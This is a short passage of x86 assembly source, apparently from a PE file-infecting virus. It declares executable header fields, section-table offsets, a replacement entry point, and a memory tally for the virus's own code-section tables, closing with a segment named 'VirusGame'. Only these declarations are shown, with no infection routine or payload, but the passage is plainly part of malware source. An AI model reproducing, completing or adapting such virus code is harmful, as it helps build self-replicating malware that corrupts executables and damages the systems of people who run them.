Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections

NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *********************************************************

VirusGame ENDS

END FileHeader